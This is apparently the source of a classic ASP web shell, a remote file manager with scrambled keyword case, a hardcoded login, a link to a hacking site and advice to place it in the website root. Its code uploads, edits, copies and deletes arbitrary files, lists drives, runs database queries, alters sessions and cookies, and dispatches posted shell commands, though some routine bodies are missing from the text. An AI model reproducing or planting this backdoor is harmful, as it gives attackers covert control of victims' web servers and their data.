| <%
If REquEst.QuEryString("Work") = "outlogiN" Then
Session("UserCokis_Name") =""
SEssion("UsErCokis_Pass") =""
Show("退出成功!")
ReSponSe.Write""
ReSponSe.end
End If
If Session("UserCokis_Name") ="" OR SeSSion("USerCokiS_PaSS") ="" Then
Response.WrIte""
If Request.QueryStrinG("Work") = "loGin" Then
Dim UseRName,UseRPasswoRd,PostName,PostPW
PostNAme = Trim(Request("MyName"))
PostPW = Request("MyPass")
UserName = "b285819081"
UserPassWord = "02531225"
If UseRName = PosTName ANd UserPassworD = POstPW Then
SeSSion("USerCokiS_Name") = PosTName
SEssion("UsErCokis_Pass") = PoStPW
REsponsE.REdirEct FiLename
ELse
REsponsE.WritE " 验证未通过！ "
EnD IF
End If
If NOt IsObjInstallEd("Scripting.FilESystEmObjEct") Then
Response.Write"非常遗憾，本服务器不支持FSO。本程序全部功能无法运行！http://hackxx.bak.cn/"
Response.End
Else
Response.Write"本服务器支持FSO！您可以使用本程序进行远程网站文件管理操作。hackxx.bak.cn/
"
Response.Write"为了防止被意外删除，建议本文件应安装在网站的根目录下。"
End If
Else
Sub SaveUp()
Dim Upload,File,ForMnaMe,ForMpath,Icount
Icount = 0
SeT UploaD=New Upload_5xsoFt ''建立上传对象
If Upload.Form("PutPaht")="" THen ''得到上传目录
Show("请输入要上传的目录!")
SEt UplOad=NOthing
Else
FormpaTh=Upload.Form("PuTPahT")
If Right(Formpath,1)<>"\" ThEn FormpaTh=FormpaTh&"\"
EnD If
FOr Each FoRmname IN Upload.ObjFile ''列出所有上传了的文件
SeT File=Upload.File(Formname) ''生成一个文件对象
If File.FilesiZe > 0 ThEn ''如果 FIlesIze > 0 说明有文件数据
File.Saveas Formpath&FiLe.FiLename ''保存文件
RespOnse.Write "本地文件："&File.FilePath&File.Filename&"
"
Response.Write "大小："
If Formatnumber(File.Filesize/1024)< 1 theN
Response.WRite"0"&FoRmatnumbeR(File.Filesize/1024)
ElSe
Response.WriTe Formatnumber(FIle.FIlesIze/1024)
End If
ReSponSe.Write "(KB)
成功上传到："&Formpath&File.Filename&"
"
IcounT=IcounT+1
End IF
SeT FilE=Nothing
NExt
SEt UplOad=NOthing ''删除此对象
If IcOunt>0 Then
ShOw("共有："&IcOunt&" 个文件成功上传。")
Response.Write""
Else
Show("没有文件上传")
End If
End SuB
%> <%SuB UpFIleWIm(PutPath)%> <%End Sub%> <%
SuB SaveFolder(FolderPath,FolderName)
On Error REsumE Next
IF Instr(FolderPath,":")=0 TheN
FoldeRPath=SeRveR.Mappath(FoldeRPath)
End IF
IF FolDerName = "" Then
Show("请输入文件夹名称。")
ExiT Sub
End If
If (Obj.FOlderExists(FOlderPath&"\"&FOlderName)) Then
Show("文件夹已经存在,不必再建立.")
Exit Sub
Else
ObJ.CreateFolder(FolderPath&"\"&FolderName)
If ERR Then
Show("无法建立文件夹.原因是:"&Err.Description)
Err.CLear
EXit Sub
Else
Show("您已经成功地在"&FolderPath&"下建立名为:"&FolderName&"的文件夹.")
Response.WrIte""
End If
ENd If
End Sub
%> <%
SUb FolderWin(NewFolderPath)
%> <%End Sub%> <%
Sub SaveFiLe(SavePath,NewFiLeName)
On ErrOr ReSume Next
Dim f
If Instr(SavePath,":")=0 Then
SavePath=Server.MaPPath(SavePath)
End If
If NEwFilENamE = "" Then
ShoW("文件名称不能为空。")
Exit Sub
ENd IF
Set F = Obj.CreateTeXtFile(SavePath&"\"&NewFileName,False)
If ERR Then
Show("无法建立文件.原因是:"&Err.Description)
Err.Clear
Else
Show("您已经成功地在"&SavePath&"下建立名为:"&NewFileName&"的文件.")
Response.Write""
End If
End Sub
%> <%Sub FilEWin(NEwFilEPath)%> <%End Sub%> <%
Sub CopyFile(CopyPath,CopyName)
On ERRoR ResuMe NExt
DiM CFile
If Instr(CopyName,":")=0 THen
CopyName=Server.Mappath(CopyName)
ENd IF
Set cFile = Obj.GetFile(CopyPath)
cFile.Copy (CopyName)
If Err ThEn
Show("无法复制文件.原因是:"&Err.Description)
Err.ClEar
Else
Show("文件已经成功复制到:"&CopyName)
Response.Write""
End If
EnD Sub
%> <%Sub CoPyFileWin(CoPyPath)%> <%End SUb%> <%SUb ListFileWin(ListPath)
On ErrOr Resume NExt
If LIstPath="" THen
ListPatH = Server.Mappath("\")
End If
Dim AllFolder,ITFolserd,FL,dr
SeT ALLFoLder = Obj.GeTFolder(LisTPaTh)
SeT ItFolseRd = ALLFoLder.SubFoLders
%> | 文件及文件夹列表 |
|---|
| 当前路径:<%=ListPath%> | | <%
For EAch Dr In Obj.Drives
Response.write ""&Dr.DriveLetter&"盘: "
NEXT
%> | <%
IF Err Then
Show("遗憾;没有浏览权限;")
Exit Sub
Else
For EAch FL In ItFolserd
%> | 1 " title="创建时间:<%=FL.DateCreated&Chr(10)%>最后访问:<%=FL.DateLastAccessed&Chr(10)%>最后修改:<%=FL.DateLastModified&Chr(10)%>估计大小:<%=FL.size\1024%>(KB)"><%=FL.name%> | [','FdeLWin','500','150','删除')" titLe="删除[<%=FL.name%>]文件夹">删除] | <%
Next
End If
Dim SiteUrl,Item
If LiStPath = Server.MApPAth("\") Then
SitEUrl = "/"
else
SIteUrl = "/"&Right(ListPath,Len(ListPath)-Len(oPath))&"/"
enD if
Dim AC
For EacH Item In ALLFoLder.FiLes
%> | y (KB)"><%=Item.name%> | [','delWin','500','150','删除')" title="删除[<%=Item.name%>]文件">删除] [','CopyWin','500','190','')" title="复制:<%=Item.name%>">复制]
<%
Ac = splIt(Item.name,".")
If Lcase(Ac(UBound(Ac,1)))="txt" Or Lcase(Ac(UBOund(Ac,1)))="htm" Or LCase(AC(UBound(AC,1)))="asa" OR Lcase(Ac(UBound(Ac,1)))="html" Or Lcase(Ac(UBound(Ac,1)))="shTml" OR Lcase(Ac(UBound(Ac,1)))="asp" OR Lcase(Ac(UBound(Ac,1)))="inc" Or Lcase(Ac(UBouNd(Ac,1)))="iNi" OR Lcase(Ac(UBound(Ac,1)))="m3u" Or Lcase(Ac(UBound(Ac,1)))="cer" OR Lcase(Ac(UBound(Ac,1)))="htr" Or Lcase(Ac(UBound(Ac,1)))="js" OR LcAse(Ac(UBound(Ac,1)))="css" OR Lcase(Ac(UBounD(Ac,1)))="cDx" TheN%> [','EditWin','500','450','')" title="编辑[<%=Item.name%>]文件">编辑] <%End iF%> <%If Lcase(Ac(UBound(Ac,1)))="mdb" THen %> [','mdbWin','500','190','')" TiTle="压缩[<%=ITem.name%>]数据库">压缩] <%End If%> | <%Next%> 提示:点击文件名即可 WEB 浏览访问!
[向上] [','ListWin','500','500','')" title="返回根目录">返回根目录] [','UpWin','500','300','','')" title="在本目录下上传文件">文件上传] [','FileWin','500','190','','')" title="在本目录下新建空文件">新建文件] [','FolderWin','500','190','','')" title="在本目录下新建文件夹">新建文件夹] |
<%EnD Sub%> <%
Sub SaveEdItFIle(ReFIlePath,EdItStrIngs)
On ERRoR Resume NExt
Dim MyWrite
Set MyWritE = Obj.OpenTexTFile(ReFilePaTh, 2)
MyWRite.WRiteLine(EditStRings)
If ERR Then
Show("遗憾,没有操作权限.")
Else
Show("文件修改成功!")
End If
SEt ObJ = NothinG
End Sub
Sub EditFile(GetMyFilePath)
Call IsRoot(GetMyFilePath)
On ErrOr ResUme Next
DiM MyRead,StringS
Set MyReAd = ObJ.OpenTextFile(GetMyFilePath, 1, TRue, 0)
Strings = MyRead.ReadAll
MyRead.Close
'以下部分是针对打开HTML文档时的处理。
'将文档里的HTML注释标注去掉。
Strings = Replace(Strings,"", "")
StriNgs = Replace(StrIngs,"-->", "")
%>
<%End Sub%> <%
'数据库关闭
Public Function CloseDate()
Conn.close
Set coNN = NothinG
End FunCtion
'ACCess连接
PubliC Function Access(Paths)
On Error Resume Next
dIm conn,connsTr
If Instr(Paths,":")=0 ThEn
Paths=Server.Mappath(Paths)
End If
Set coNN = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data SouRce=" & Paths
Conn.Open Connstr
If ERR Then
err.Clear
Call CloseDate()
Response.Write "数据库连接出错，请选择正确的路径。"
Response.EnD
EnD If
End Function
Public FunctiOn MyDataEdit()
DiM PostB1,MyRAdio,DAtAPAht,User,PAss,SQLString
'连接 OR 执行
PostB = Request.Form("B5")
'数据库类型
MyRadio = Request.Form("DateType")
'数据库路径
DataPaht = Trim(REquEst.Form("DataPaht"))
'用户名
UsEr = Request.Form("User")
Pass = Request.Form("Password")
'SQL语句
SQLString = Request.Form("SQLString")
'数据库连接开始:
Select CAse MyRadio
CasE "ACCess"
CaLL ACCess(DataPaht)
Case "MsSQL"
Response.Write "MsSQL"
End SelecT
SelecT CaSe PostB
Case "连接"
Response.Write "接连"
CAse "执行"
REsponsE.WritE "执行"
End Select
Response.Redirect FiLename&"?Work=ShowGetDataWin&DatePaht="&DataPaht
End FunctIon
%> <%Sub GEtDataWin()
Dim DatePath,IsData
DatePath = Request("DatePaht")
%>
<%End Sub%>
<%
'压缩
Const JET_3X = 4
Function CompactDB(dbPath, bOOlIs97,Pass)
On ErrOr REsumE NExt
DiM Fso, Engine, strDBPatH
strDBPatH = left(dbPath,instrreV(DBPath,"\"))
Set Fso = CreateObject("Scripting.FileSystemObject")
If fso.FileEXists(dbPath) ThEn
SeT ENgiNe = CreateObject("JRO.JetEngine")
If boolIS97 = "Data97" Then
Engine.CoMpactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbPath, _
"Provider=MicrosofT.JeT.OLEDB.4.0;JeT OLEDB:Database Password='"&Pass&"';DaTa Source=" & sTrDBPaTh & "teMp.Mdb;" _
& "JeT OLEDB:Engine Type=" & JET_3X
Else
Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Jet OLEDB:DatabaSe Password='"&Pass&"';Data SOurce=" & dbPath, _
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & sTrDBPaTh & "temp.mdb"
End If
If Err Then
CompactDB = Err.DescriptioN
Exit Function
End if
fso.CopyFile strDBPath & "temp.mdb",dbpath
fso.DeleteFile(strDBPath & "Temp.mdb")
SeT fSo = nOthing
Set EnginE = nothing
CompActDB = "你的数据库, " & dbPath & ", 已经压缩成功!" & vbCrLf
Response.Write""
Else
CompactDB = "数据库名称或路径不正确. 请重试!" & vbCrLf
End IF
End FuNctioN
Sub CompreSSmdb(mdbPath)%>
<%End SUb%>
<%SUb MyMousEWin()%>
<%End Sub%>
<%
Sub DelFile(DelPath)
On ErrOr ResUme NexT
Call IsRoot(DelPath)
Obj.DeleteFile(DelPath)
If ERR Then
Show(Err.DescripTion)
ExiT Sub
Else
Show("文件删除成功!")
Response.Write""
End IF
Set ObJ = NotHing
End SUb
SUb DelFolser(DelFolderPath)
On ERRoR ReSume NexT
Call IsRoot(DelFolderPAth&SpPAth)
Obj.DeLeteFoLder(DeLFoLderPath)
If Err Then
Show(Err.DeScription)
Exit Sub
Else
Show("文件夹删除成功!")
Response.WrIte""
End If
Set ObJ = Nothing
End SUb
SUb DElSEssion(SEssValuE)
SEssion.ContEnts.REmovE(SEssvaluE)
REsponsE.REdirEct FileName&"?Work=ShowCookieWiN"
ENd Sub
Sub SetSession(Sess1,Sess2)
If SeSS1<>"" Then
Session(Sess1)=Sess2
End If
Response.Redirect FiLename&"?Work=ShowCookieWin"
End Sub
Sub DelCOOkies(COOkiesValue)
RespOnse.COOkies(COOkiesValue).Expires=Date-1
RespOnse.Redirect Filename&"?Work=ShowCookieWin"
End Sub
Sub SetCookies(Co1,Co2,Co3)
If CO1<>"" ANd Co2="" Then
Response.Cookies(Co1).Expires=DaTe+30
Response.Cookies(Co1)=Co3
End IF
IF Co1<>"" ANd Co2<>"" Then
ReSponSe.CookieS(Co1).ExpireS=Date+30
ReSponSe.CookieS(Co1)(Co2)=Co3
End If
ReSponSe.Redirect Filename&"?Work=ShowCookieWin"
End Sub
SeLect CaSe Request("Work")
':::::::::::显示窗口判断::::::::::::::::::
Case "ShowUPFileWin"
Call UpFilEWim(REquEst("PutPath"))
CasE "ShOwFOlderWin"
Call FolderWin(RequesT("NewFolderPaTh"))
Case "ShowFileWin"
CAll FilEWin(REquEst("NEwFilEPath"))
CasE "SHowCopyFileWin"
Call CopyFileWin(Request("CopyPAth"))
CAse "ShowListFiLeWin"
CaLL ListFileWin(Request("ListPAth"))
CAse "ShowEditFileWin"
Call EditFile(ReQuest("EditPath"))
Case "ShowGetDataWin"
Call GetDataWin()
Case "ShowShellWin"
Call ShEllWin(Null)
CasE "ShowCookieWin"
Call CookieWin()
Case "ShOwKeyWin"
Call KeyWin()
Case "ShowMdbWin"
Call CompreSSmdb(RequeSt("MdbPath"))
'CaSe ""
'Call
'Case ""
'CaLL
'Case ""
'CaLL
'Case ""
'Call
'Case ""
'Call
'::::::数据处理判断:::::::::::
Case "PutFiLe"
CaLL SaveUp()
CaSe "NewFoLder"
CaLL SaveFolder(TrIm(Request.Form("FolderPath")),TrIm(Request.Form("NewFolder")))
Case "NewFile"
CAll SaveFile(Trim(Request.Form("FilePath")),Trim(Request.Form("NewFileName")))
Case "CopyFiles"
Call COpyFile(Request.FOrm("COpyPath"),Trim(Request.FOrm("NewCOpyName")))
Case "PostEditFile"
Call SaveEdItFIle(Request("ReFIlePath"),Request.Form("FIleStr"))
Case "ShowDelFilewiN"
Call DelFIle(Request("DelPath"))
Case "ShowDelFolderwin"
Call DelFolser(Request("DelFolderPath"))
Case "ShowShellFoRm"
Call ShellWin(TriM(Request.ForM("CoMMand")))
Case "DelSess"
Call DElSEssion(REquEst("SEssValuE"))
CasE "SetCookie"
Call SetCookIes(TrIm(Request.Form("CookIe1")),TrIm(Request.Form("CookIe2")),TrIm(Request.Form("CookIe3")))
Case "DelCookies"
Call DelCookies(Request("CookieValue"))
Case "SEtSEsValuE"
Call SetSession(Trim(Request.Form("SetValue")),Trim(Request.Form("MyValue")))
Case "CallData"
Call MYDataEdit()
Case "CompreData"
Show(CompactDB(Request.form("MdbPath"), Request.form("V2"), RequeSt.form("MdbPaSS")))
'CaSe ""
'Call
'Case ""
'Call
Case ELse
CaLL MyMouseWin()
EnD SElEct
End If
%> |
